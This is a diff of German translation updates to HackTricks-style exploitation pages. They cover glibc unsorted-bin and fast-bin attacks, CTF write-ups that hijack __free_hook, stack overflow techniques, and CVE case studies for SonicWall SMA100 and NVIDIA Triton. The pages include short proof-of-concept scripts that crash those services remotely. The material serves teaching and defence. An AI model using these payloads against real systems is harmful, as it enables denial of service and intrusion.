- Wenn du weiter allokieren willst und das Programm das unsorted bin verwendet, erwarte, dass der Allocator später `*(TARGET) = unsorted_chunks(av)` setzt. Beide Werte sind typischerweise groß und können ausreichen, um Größen-/Limit‑Semantik in Zielen zu ändern, die nur auf "groß" prüfen.
|
||||
- Wenn du weiter alloziieren willst und das Programm das unsorted bin verwendet, erwarte, dass der Allocator später `*(TARGET) = unsorted_chunks(av)` setzt. Beide Werte sind typischerweise groß und können ausreichen, um Größen-/Limit‑Semantiken in Zielen zu ändern, die nur auf "groß" prüfen.
|
||||
|
||||
Pseudocode‑Gerüst:
|
||||
Pseudocode‑Skelett:
|
||||
```c
|
||||
// 64-bit glibc 2.35–2.38 style layout (tcache bypass via large sizes)
|
||||
void *A = malloc(0x5000);
|
||||
@ -81,33 +80,33 @@ void *C = malloc(0x5000); // guard
|
||||
free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
|
||||
```
|
||||
> [!NOTE]
|
||||
> • Wenn du tcache nicht über die Größe umgehen kannst, fülle das tcache bin für die gewählte Größe (7 frees), bevor du den korrumpierten chunk freigibst, damit der free in den unsorted geht.
|
||||
> • Wenn das Programm bei der nächsten Allocation sofort wegen unsorted-bin-Checks abbricht, überprüfe nochmals, dass `victim->fd` weiterhin dem bin head entspricht und dass dein `TARGET` nach dem ersten write exakt den `victim`-Pointer hält.
|
||||
> • Wenn du tcache nicht über die Größe umgehen kannst, fülle das tcache-Bin für die gewählte Größe (7 frees), bevor du den korrupten Chunk freigibst, damit das free in das unsorted geht.
|
||||
> • Wenn das Programm beim nächsten Allocation sofort aufgrund der unsorted-bin‑Checks abbricht, überprüfe nochmal, dass `victim->fd` noch dem Bin-Head entspricht und dass dein `TARGET` nach dem ersten Schreibvorgang genau den `victim`-Pointer enthält.
|
||||
|
||||
## Unsorted Bin Infoleak Attack
|
||||
|
||||
Das ist eigentlich ein sehr grundlegendes Konzept. Die chunks im unsorted bin enthalten Pointer. Der erste Chunk im unsorted bin wird tatsächlich die **`fd`** und die **`bk`** Links haben, die **auf einen Teil der main arena (Glibc)** zeigen.\
|
||||
Daher kannst du, wenn du **einen Chunk in den unsorted bin platzierst und ihn ausliest** (use after free) oder **ihn erneut allokierst, ohne mindestens einen der Pointer zu überschreiben**, um ihn anschließend **auszulesen**, ein **Glibc info leak** erhalten.
|
||||
This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
|
||||
Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
|
||||
|
||||
Ein ähnlicher [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) bestand darin, eine Struktur aus 4 Chunks (A, B, C und D — D dient nur dazu, eine Consolidation mit dem top chunk zu verhindern) auszunutzen: Ein Null-Byte-Overflow in B wurde verwendet, damit C anzeigt, dass B unused ist. Außerdem wurde in B das `prev_size` Feld so verändert, dass die Größe statt der Größe von B die von A+B war.\
|
||||
Dann wurde C freigegeben und mit A+B konsolidiert (wobei B weiterhin in use war). Ein neuer Chunk der Größe A wurde allokiert und die aus libc geléakten Adressen wurden in B geschrieben, von wo sie ausgelesen wurden.
|
||||
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
|
||||
Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
|
||||
|
||||
## References & Other examples
|
||||
## Referenzen & Weitere Beispiele
|
||||
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
|
||||
- Ziel ist es, eine globale Variable mit einem Wert größer als 4869 zu überschreiben, sodass man das Flag erhält und PIE nicht aktiviert ist.
|
||||
- Es ist möglich, Chunks beliebiger Größen zu erzeugen, und es existiert ein Heap-Overflow in der gewünschten Größe.
|
||||
- Der Angriff beginnt mit der Erstellung von 3 Chunks: chunk0 zum Ausnutzen des Overflows, chunk1, das überlaufen wird, und chunk2, damit der top chunk die vorherigen nicht konsolidiert.
|
||||
- Dann wird chunk1 freed und chunk0 so überlaufen, dass der `bk`-Pointer von chunk1 auf Folgendes zeigt: `bk = magic - 0x10`
|
||||
- Danach wird chunk3 mit der gleichen Größe wie chunk1 alloziert, was den unsorted bin attack auslöst und den Wert der globalen Variable verändert, wodurch es möglich wird, das Flag zu erhalten.
|
||||
- Das Ziel ist, eine globale Variable mit einem Wert größer als 4869 zu überschreiben, damit es möglich ist, die Flag zu bekommen, und PIE ist nicht aktiviert.
|
||||
- Es ist möglich, Chunks beliebiger Größen zu erzeugen und es gibt einen Heap-Overflow mit der gewünschten Größe.
|
||||
- Der Angriff beginnt mit dem Erstellen von 3 Chunks: chunk0 zum Ausnutzen des Overflows, chunk1, das überlaufen wird, und chunk2, damit der top chunk nicht die vorherigen konsolidiert.
|
||||
- Danach wird chunk1 freed und chunk0 so überlaufen, dass das `bk`-Pointer von chunk1 zeigt auf: `bk = magic - 0x10`
|
||||
- Dann wird chunk3 mit derselben Größe wie chunk1 alloziiert, was den unsorted bin attack auslöst und den Wert der globalen Variable verändert, wodurch es möglich wird, die Flag zu bekommen.
|
||||
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
|
||||
- Die merge-Funktion ist verwundbar, weil sie, wenn beide übergebenen Indizes gleich sind, auf genau diesen Bereich reallocatet und ihn dann freed, aber einen Pointer auf diese freed-Region zurückgibt, der wiederverwendet werden kann.
|
||||
- Daher werden **2 Chunks erzeugt**: **chunk0**, das mit sich selbst gemerged wird, und chunk1, um eine Konsolidation mit dem top chunk zu verhindern. Dann wird die **merge-Funktion mit chunk0** zweimal aufgerufen, was zu einem use after free führt.
|
||||
- Danach wird die **`view`**-Funktion mit Index 2 (dem Index des use-after-free-Chunks) aufgerufen, wodurch eine libc-Adresse geleakt wird.
|
||||
- Da das Binary Schutzmechanismen hat, die nur mallocs größer als **`global_max_fast`** zulassen (also keine fastbin benutzt werden), wird ein unsorted bin attack benutzt, um die globale Variable `global_max_fast` zu überschreiben.
|
||||
- Danach ist es möglich, die edit-Funktion mit Index 2 (dem use-after-free-Pointer) aufzurufen und den `bk`-Pointer zu überschreiben, sodass er auf `p64(global_max_fast-0x10)` zeigt. Dann wird ein neuer Chunk erstellt, wodurch die zuvor kompromittierte free-Adresse (0x20) benutzt wird und **der unsorted bin attack** ausgelöst wird, der `global_max_fast` mit einem sehr großen Wert überschreibt und es so erlaubt, Chunks in den fastbins zu erzeugen.
|
||||
- Nun wird ein **fast bin attack** durchgeführt:
|
||||
- Zunächst wird festgestellt, dass es möglich ist, mit fast Chunks der Größe 200 an der Position von **`__free_hook`** zu arbeiten:
|
||||
- Die merge-Funktion ist verwundbar, weil, wenn beide übergebenen Indizes gleich sind, sie ein realloc darauf macht und es dann freed, aber dabei einen Pointer auf diesen freed Bereich zurückgibt, der weiterverwendet werden kann.
|
||||
- Daher werden **2 Chunks erstellt**: **chunk0**, das mit sich selbst gemerged wird, und chunk1, um eine Konsolidierung mit dem top chunk zu verhindern. Dann wird die **merge-Funktion mit chunk0** zweimal aufgerufen, was zu einem use after free führt.
|
||||
- Danach wird die **`view`**-Funktion mit Index 2 aufgerufen (das ist der Index des use after free Chunks), welche eine libc Adresse leaked.
|
||||
- Da das Binary Protections hat, nur mallocs größer als **`global_max_fast`** zu erlauben, sodass kein fastbin verwendet wird, wird ein unsorted bin attack benutzt, um die globale Variable `global_max_fast` zu überschreiben.
|
||||
- Danach ist es möglich, die edit-Funktion mit Index 2 (dem use after free Pointer) aufzurufen und den `bk`-Pointer zu überschreiben, sodass er auf `p64(global_max_fast-0x10)` zeigt. Dann erzeugt man einen neuen Chunk, der die zuvor kompromittierte free-Adresse (0x20) verwendet und so **den unsorted bin attack** auslöst, der `global_max_fast` mit einem sehr großen Wert überschreibt, wodurch es nun möglich ist, Chunks in fast bins zu erstellen.
|
||||
- Jetzt wird ein **fast bin attack** durchgeführt:
|
||||
- Zuerst wird entdeckt, dass es möglich ist, mit fast **Chunks der Größe 200** an der Stelle von **`__free_hook`** zu arbeiten:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
@ -116,20 +115,20 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- Wenn es gelingt, einen fast chunk der Größe 0x200 an dieser Position zu platzieren, wird es möglich sein, einen Funktionspointer zu überschreiben, der dann ausgeführt wird.
|
||||
- Dazu wird ein neuer Chunk der Größe `0xfc` erstellt und die merge-Funktion mit diesem Pointer zweimal aufgerufen; so erhält man einen Pointer auf einen freed Chunk der Größe `0xfc*2 = 0x1f8` im fastbin.
|
||||
- Dann wird die edit-Funktion auf diesem Chunk aufgerufen, um die **`fd`**-Adresse dieses fastbins so zu verändern, dass sie auf das vorherige **`__free_hook`** zeigt.
|
||||
- Danach wird ein Chunk mit Größe `0x1f8` erstellt, um aus dem fastbin den vorherigen nutzlosen Chunk zurückzuholen, und ein weiterer Chunk der Größe `0x1f8` erstellt, um einen fastbin-Chunk in **`__free_hook`** zu erhalten, welcher mit der Adresse der **`system`**-Funktion überschrieben wird.
|
||||
- Schließlich wird ein Chunk, der den String `/bin/sh\x00` enthält, freigegeben (delete), wodurch die **`__free_hook`**-Funktion ausgelöst wird, die nun auf system zeigt und `/bin/sh\x00` als Parameter erhält.
|
||||
- Wenn es gelingt, einen fast Chunk der Größe 0x200 an dieser Stelle zu bekommen, wird es möglich sein, einen Funktionspointer zu überschreiben, der ausgeführt wird.
|
||||
- Dafür wird ein neuer Chunk der Größe `0xfc` erstellt und die merge-Funktion mit diesem Pointer zweimal aufgerufen; so erhält man einen Pointer auf einen freed Chunk der Größe `0xfc*2 = 0x1f8` im fast bin.
|
||||
- Dann wird die edit-Funktion auf diesem Chunk aufgerufen, um die **`fd`**-Adresse dieses fast bins zu ändern, sodass sie auf das vorherige **`__free_hook`** zeigt.
|
||||
- Danach wird ein Chunk mit Größe `0x1f8` alloziiert, um aus dem fast bin den vorherigen nutzlosen Chunk zu bekommen; ein weiterer Chunk der Größe `0x1f8` wird erstellt, um einen fast bin Chunk in **`__free_hook`** zu erhalten, der mit der Adresse der **`system`**-Funktion überschrieben wird.
|
||||
- Und schließlich wird ein Chunk, das den String `/bin/sh\x00` enthält, per delete freed, wodurch die **`__free_hook`**-Funktion aufgerufen wird, die nun auf system zeigt und `/bin/sh\x00` als Parameter übergeben bekommt.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- Ein weiteres Beispiel für das Ausnutzen eines 1-Byte-Overflows, um Chunks im unsorted bin zu konsolidieren und ein libc infoleak zu erhalten, gefolgt von einem fast bin attack, um malloc hook mit einer one-gadget-Adresse zu überschreiben
|
||||
- Ein weiteres Beispiel, wie ein 1B-Overflow genutzt wird, um Chunks im unsorted bin zu konsolidieren und einen libc info leak zu bekommen und anschließend einen fast bin attack durchzuführen, um malloc hook mit einem one gadget zu überschreiben.
|
||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
- Es können nur Chunks mit Größe größer als `0x100` alloziert werden.
|
||||
- Überschreiben von `global_max_fast` mittels Unsorted Bin attack (funktioniert 1/16 Mal wegen ASLR, weil 12 Bits modifiziert werden müssen, wir aber 16 Bits verändern).
|
||||
- Fast Bin attack, um ein globales Array von Chunks zu modifizieren. Das ergibt ein arbiträres read/write-Primitive, mit dem GOT-Einträge geändert werden können, sodass eine Funktion auf `system` zeigt.
|
||||
- Wir können nur Chunks der Größe größer als `0x100` alloziieren.
|
||||
- Überschreibe `global_max_fast` mittels eines Unsorted Bin attack (funktioniert 1/16 mal wegen ASLR, weil wir 12 Bits ändern müssen, aber 16 Bits ändern).
|
||||
- Fast Bin attack, um ein globales Array von Chunks zu modifizieren. Das gibt ein beliebiges read/write-Primitive, was erlaubt, die GOT zu ändern und eine Funktion auf `system` zu setzen.
|
||||
|
||||
## Referenzen
|
||||
## References
|
||||
|
||||
- Glibc malloc unsorted-bin integrity checks (Beispiel im Source von 2.33): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
|
||||
- `global_max_fast` und verwandte Definitionen in modernem glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c
|
||||
- Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
|
||||
- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,15 +4,15 @@
|
||||
|
||||
## Was ist ein Stack Overflow
|
||||
|
||||
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **benachbarten Speicherbereich überschreiben**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
|
||||
Ein **stack overflow** ist eine Schwachstelle, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als dafür vorgesehen sind. Diese überschüssigen Daten werden **benachbarten Speicher überschreiben**, was zur Korruption gültiger Daten, zur Störung des Kontrollflusses und möglicherweise zur Ausführung von Schadcode führen kann. Dieses Problem entsteht häufig durch die Verwendung unsicherer Funktionen, die keine Grenzprüfungen für Eingaben durchführen.
|
||||
|
||||
The main problem of this overwrite is that the **gespeicherter Befehlszeiger (EIP/RIP)** and the **gespeicherter Basiszeiger (EBP/RBP)** to return to the previous function are **auf dem Stack gespeichert**. Therefore, an attacker will be able to overwrite those and **den Ausführungsfluss des Programms kontrollieren**.
|
||||
Das Hauptproblem dieser Überschreibung besteht darin, dass der **saved instruction pointer (EIP/RIP)** und der **saved base pointer (EBP/RBP)**, die zum Zurückkehren in die vorherige Funktion verwendet werden, **auf dem Stack gespeichert** sind. Daher kann ein Angreifer diese überschreiben und den **Ausführungsfluss des Programms kontrollieren**.
|
||||
|
||||
The vulnerability usually arises because a function **mehr Bytes in den Stack kopiert, als dafür zugewiesen wurden**, therefore being able to overwrite other parts of the stack.
|
||||
Die Schwachstelle entsteht normalerweise, weil eine Funktion **mehr Bytes auf den Stack kopiert, als dafür reserviert sind**, und so andere Teile des Stacks überschreiben kann.
|
||||
|
||||
Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **Längenargument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
|
||||
Einige häufig verwundbare Funktionen sind: **`strcpy`, `strcat`, `sprintf`, `gets`**... Auch Funktionen wie **`fgets`**, **`read`** & **`memcpy`**, die ein **Längenargument** nehmen, können auf eine verwundbare Weise verwendet werden, wenn die angegebene Länge größer ist als die zugewiesene.
|
||||
|
||||
For example, the following functions could be vulnerable:
|
||||
Zum Beispiel könnten die folgenden Funktionen verwundbar sein:
|
||||
```c
|
||||
void vulnerable() {
|
||||
char buffer[128];
|
||||
@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Finden von Stack Overflows Offsets
|
||||
### Finden von Stack Overflows offsets
|
||||
|
||||
Die gebräuchlichste Methode, Stack Overflows zu finden, besteht darin, eine sehr große Eingabe aus `A`s zu geben (z. B. `python3 -c 'print("A"*1000)'`) und ein `Segmentation Fault` zu erwarten, der darauf hinweist, dass **versucht wurde, auf die Adresse `0x41414141` zuzugreifen**.
|
||||
Die gebräuchlichste Methode, Stack Overflows zu finden, besteht darin, eine sehr lange Eingabe aus `A`s zu geben (z. B. `python3 -c 'print("A"*1000)'`) und ein `Segmentation Fault` zu erwarten, das anzeigt, dass die **Adresse `0x41414141` versucht wurde, zuzugreifen**.
|
||||
|
||||
Außerdem, sobald du festgestellt hast, dass eine Stack Overflow vulnerability existiert, musst du den Offset finden, bis zu dem es möglich ist, die **return address zu überschreiben**. Dafür wird üblicherweise eine **De Bruijn sequence** verwendet. Für ein Alphabet der Größe _k_ und Teilsequenzen der Länge _n_ ist das eine **zyklische Sequenz, in der jede mögliche Teilsequenz der Länge _n_ genau einmal** als zusammenhängende Teilsequenz vorkommt.
|
||||
Außerdem, sobald du festgestellt hast, dass eine Stack Overflows vulnerability vorhanden ist, musst du den Offset finden, bis es möglich ist, die **return address zu überschreiben**; dafür wird üblicherweise eine **De Bruijn sequence** verwendet. Diese ist für ein gegebenes Alphabet der Größe _k_ und Teilsequenzen der Länge _n_ eine **zyklische Sequenz, in der jede mögliche Teilsequenz der Länge _n_ genau einmal** als zusammenhängende Teilsequenz vorkommt.
|
||||
|
||||
Auf diese Weise, anstatt manuell den Offset zu ermitteln, der benötigt wird, um die EIP zu kontrollieren, kannst du eine dieser Sequenzen als Padding verwenden und dann den Offset der Bytes finden, die es letztlich überschrieben haben.
|
||||
Auf diese Weise, anstatt per Hand herauszufinden, welcher Offset benötigt wird, um die EIP zu kontrollieren, kann man eine dieser Sequenzen als Padding verwenden und dann den Offset der Bytes bestimmen, die letztlich diese überschrieben haben.
|
||||
|
||||
Es ist möglich, dafür **pwntools** zu verwenden:
|
||||
Dafür kann man **pwntools** verwenden:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Exploiting Stack Overflows
|
||||
|
||||
Während eines overflows (vorausgesetzt die Größe des overflows ist groß genug) wirst du in der Lage sein, Werte lokaler Variablen auf dem Stack **overwrite** bis zum gespeicherten **EBP/RBP and EIP/RIP (or even more)** zu überschreiben.\
|
||||
Die gebräuchlichste Methode, diesen Typ von Schwachstelle zu missbrauchen, ist das **modifying the return address**, sodass beim Ende der Funktion der **control flow will be redirected wherever the user specified** in diesem Pointer.
|
||||
Während eines Overflows (vorausgesetzt, die Overflow-Größe ist groß genug) kannst du Werte lokaler Variablen auf dem Stack **überschreiben**, bis du das gespeicherte **EBP/RBP and EIP/RIP (or even more)** erreichst.\
|
||||
Die häufigste Methode, diese Art von Schwachstelle auszunutzen, besteht darin, die **Rücksprungadresse zu verändern**, sodass beim Beenden der Funktion der **Kontrollfluss auf die vom Angreifer in diesem Pointer angegebene Adresse** umgeleitet wird.
|
||||
|
||||
Allerdings kann in anderen Szenarien schon das **overwriting some variables values in the stack** ausreichen, um eine exploitation durchzuführen (z.B. in einfachen CTF challenges).
|
||||
In anderen Szenarien kann es jedoch ausreichen, lediglich **einige Variablenwerte auf dem Stack zu überschreiben**, um die Schwachstelle auszunutzen (wie bei einfachen CTF-Challenges).
|
||||
|
||||
### Ret2win
|
||||
|
||||
In dieser Art von CTF challenges gibt es eine **function** **inside** der binary, die **never called** wird und die **you need to call in order to win**. Für diese Challenges musst du nur den **offset to overwrite the return address** finden und die **find the address of the function** zum Aufrufen bestimmen (gewöhnlich ist [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) deaktiviert), sodass beim Rückkehr der vulnerable function die versteckte Funktion aufgerufen wird:
|
||||
Bei dieser Art von CTF-Challenges gibt es eine **Funktion** **inside** das binary, die **nie aufgerufen wird** und die **du aufrufen musst, um zu gewinnen**. Für diese Challenges musst du nur das **Offset finden, um die Rücksprungadresse zu überschreiben**, und die **Adresse der aufzurufenden Funktion** finden (normalerweise ist [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) deaktiviert), sodass beim Rückkehr der verwundbaren Funktion die versteckte Funktion aufgerufen wird:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -66,7 +66,7 @@ ret2win/
|
||||
|
||||
### Stack Shellcode
|
||||
|
||||
In diesem Szenario kann der attacker einen shellcode auf dem stack platzieren und den kontrollierten EIP/RIP missbrauchen, um zum shellcode zu springen und execute arbitrary code auszuführen:
|
||||
In diesem Szenario kann der Angreifer Shellcode auf dem Stack platzieren und den kontrollierten EIP/RIP ausnutzen, um zum Shellcode zu springen und beliebigen Code auszuführen:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -75,7 +75,7 @@ stack-shellcode/
|
||||
|
||||
### Windows SEH-based exploitation (nSEH/SEH)
|
||||
|
||||
Auf 32-bit Windows kann ein overflow die Structured Exception Handler (SEH) chain überschreiben statt der gespeicherten return address. Bei exploitation wird typischerweise der SEH pointer durch einen POP POP RET gadget ersetzt und das 4-byte nSEH Feld für einen short jump verwendet, um zurück in den großen buffer zu pivoten, in dem der shellcode liegt. Ein übliches Muster ist ein short jmp in nSEH, das auf einen 5-byte near jmp landet, der direkt vor nSEH platziert ist, um Hunderte von Bytes zurück zum payload-Start zu springen.
|
||||
Unter 32-bit Windows kann ein Overflow die Structured Exception Handler (SEH)-Kette anstelle der gespeicherten Rücksprungadresse überschreiben. Die Ausnutzung ersetzt typischerweise den SEH-Zeiger durch ein POP POP RET-Gadget und verwendet das 4-Byte nSEH-Feld für einen kurzen Sprung, um zurück in den großen Puffer zu pivotieren, in dem sich der Shellcode befindet. Ein häufiges Muster ist ein kurzer jmp in nSEH, der auf einen 5-Byte near jmp landet, das direkt vor nSEH platziert ist, um hunderte Bytes zurück zum Anfang des Payloads zu springen.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -84,7 +84,7 @@ windows-seh-overflow.md
|
||||
|
||||
### ROP & Ret2... techniques
|
||||
|
||||
Diese Technik ist das grundlegende Framework, um den wichtigsten Schutz der vorherigen Technik zu umgehen: **No executable stack (NX)**. Außerdem ermöglicht sie das Ausführen mehrerer anderer Techniken (ret2lib, ret2syscall...), die schließlich durch das Missbrauchen vorhandener Instruktionen in der binary arbitrary commands ausführen:
|
||||
Diese Technik ist das grundlegende Framework, um den wichtigsten Schutz der vorherigen Methode zu umgehen: **No executable stack (NX)**. Außerdem ermöglicht sie die Durchführung mehrerer anderer Techniken (ret2lib, ret2syscall...), die durch Ausnutzen vorhandener Instruktionen im binary letztlich beliebige Befehle ausführen können:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -93,16 +93,16 @@ Diese Technik ist das grundlegende Framework, um den wichtigsten Schutz der vorh
|
||||
|
||||
## Heap Overflows
|
||||
|
||||
Ein overflow befindet sich nicht immer auf dem stack; er kann zum Beispiel auch im **heap** auftreten:
|
||||
Ein Overflow befindet sich nicht immer im Stack; er kann zum Beispiel auch im **heap** auftreten:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../libc-heap/heap-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
## Types of protections
|
||||
## Arten von Schutzmechanismen
|
||||
|
||||
Es gibt mehrere protections, die versuchen, die exploitation von vulnerabilities zu verhindern — siehe:
|
||||
Es gibt mehrere Schutzmechanismen, die versuchen, die Ausnutzung von Schwachstellen zu verhindern. Sieh sie dir an in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -111,33 +111,34 @@ Es gibt mehrere protections, die versuchen, die exploitation von vulnerabilities
|
||||
|
||||
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
Ein gutes Beispiel dafür, warum **`sscanf` should never be trusted for parsing untrusted input** ist, trat 2025 in SonicWall’s SMA100 SSL-VPN appliance auf. Die verwundbare Routine in `/usr/src/EasyAccess/bin/httpd` versucht, die Version und den endpoint aus jeder URI zu extrahieren, die mit `/__api__/` beginnt:
|
||||
Eine gute Demonstration, warum **`sscanf` niemals für das Parsen von nicht vertrauenswürdigen Eingaben verwendet werden sollte**, erschien 2025 in SonicWall’s SMA100 SSL-VPN-Appliance.
|
||||
Die verwundbare Routine in `/usr/src/EasyAccess/bin/httpd` versucht, die Version und den Endpoint aus jeder URI zu extrahieren, die mit `/__api__/` beginnt:
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
/* simplified proto-type */
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. Die erste Formatangabe (`%2s`) speichert sicher **zwei** Bytes in `version` (z. B. `"v1"`).
|
||||
2. Die zweite Formatangabe (`%s`) **hat keinen Längenbegrenzer**, daher wird `sscanf` weiter kopieren **bis zum ersten NUL byte**.
|
||||
3. Da `endpoint` auf dem **stack** liegt und **0x800 bytes long** ist, führt das Bereitstellen eines Pfads, der länger als 0x800 bytes ist, zur Korruption aller Daten, die nach dem Buffer liegen ‑ einschließlich des **stack canary** und der **saved return address**.
|
||||
1. Die erste Conversion (`%2s`) schreibt sicher **zwei** Bytes in `version` (z. B. `"v1"`).
|
||||
2. Die zweite Conversion (`%s`) **hat keine Längenangabe**, daher wird `sscanf` weiter kopieren **bis zum ersten NUL-Byte**.
|
||||
3. Weil `endpoint` auf dem **stack** liegt und **0x800 Bytes lang** ist, korruptiert ein Pfad, der länger als 0x800 Bytes ist, alles, was nach dem buffer liegt – einschließlich des **stack canary** und der **saved return address**.
|
||||
|
||||
Eine einzeilige Proof-of-Concept ist ausreichend, um den Crash **vor der Authentifizierung** auszulösen:
|
||||
Ein einzeiliges Proof-of-Concept reicht aus, um den Crash **vor der Authentifizierung** auszulösen:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
Auch wenn stack canaries den Prozess abbrechen, erlangt ein Angreifer trotzdem ein **Denial-of-Service**-Primitive (und bei zusätzlichen information leaks möglicherweise code-execution). Die Lektion ist einfach:
|
||||
Obwohl stack canaries den Prozess abbrechen, erhält ein Angreifer trotzdem ein **Denial-of-Service**-Primitive (und, mit zusätzlichen information leaks, möglicherweise code-execution). Die Lehre ist einfach:
|
||||
|
||||
* Geben Sie immer eine **maximale Feldbreite** an (z. B. `%511s`).
|
||||
* Bevorzugen Sie sicherere Alternativen wie `snprintf`/`strncpy_s`.
|
||||
|
||||
### Reales Beispiel: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
|
||||
NVIDIA’s Triton Inference Server (≤ v25.06) enthielt mehrere **stack-based overflows**, die über seine HTTP API erreichbar waren.
|
||||
Das verwundbare Muster erschien wiederholt in `http_server.cc` und `sagemaker_server.cc`:
|
||||
Der NVIDIA Triton Inference Server (≤ v25.06) enthielt mehrere **stack-based overflows**, die über seine HTTP API erreichbar waren.
|
||||
Das verwundbare Muster tauchte wiederholt in `http_server.cc` und `sagemaker_server.cc` auf:
|
||||
```c
|
||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||
if (n > 0) {
|
||||
@ -147,8 +148,8 @@ alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
...
|
||||
}
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) gibt die **Anzahl der internen Buffer-Segmente** zurück, die den aktuellen HTTP-Request-Body bilden.
|
||||
2. Jedes Segment führt dazu, dass ein **16-byte** `evbuffer_iovec` via `alloca()` auf dem **stack** alloziert wird – **ohne obere Grenze**.
|
||||
1. `evbuffer_peek` (libevent) gibt die **Anzahl der internen Buffer-Segmente** zurück, die den aktuellen HTTP request body zusammensetzen.
|
||||
2. Jedes Segment verursacht, dass ein **16-byte** `evbuffer_iovec` mittels `alloca()` auf dem **stack** alloziert wird – **ohne obere Grenze**.
|
||||
3. Durch Missbrauch von **HTTP _chunked transfer-encoding_** kann ein Client die Anfrage in **hunderttausende von 6-byte chunks** (`"1\r\nA\r\n"`) aufteilen. Dadurch wächst `n` unbegrenzt, bis der stack erschöpft ist.
|
||||
|
||||
#### Proof-of-Concept (DoS)
|
||||
@ -175,10 +176,10 @@ s.close()
|
||||
if __name__ == "__main__":
|
||||
exploit(*sys.argv[1:])
|
||||
```
|
||||
Eine ~3 MB-Anfrage reicht aus, um die gespeicherte Rücksprungadresse zu überschreiben und den daemon zu **crashen**.
|
||||
Eine ~3 MB-Anfrage reicht aus, um die gespeicherte Rücksprungadresse zu überschreiben und den Daemon bei einem Standard-Build **crash** zu verursachen.
|
||||
|
||||
#### Patch & Gegenmaßnahmen
|
||||
Die Version 25.07 ersetzt die unsichere Stack-Allokation durch einen **heap-gestützten `std::vector`** und behandelt `std::bad_alloc` elegant:
|
||||
Das Release 25.07 ersetzt die unsichere Stack-Allokation durch einen **heap-backed `std::vector`** und behandelt `std::bad_alloc` ordnungsgemäß:
|
||||
```c++
|
||||
std::vector<evbuffer_iovec> v_vec;
|
||||
try {
|
||||
@ -189,9 +190,9 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||||
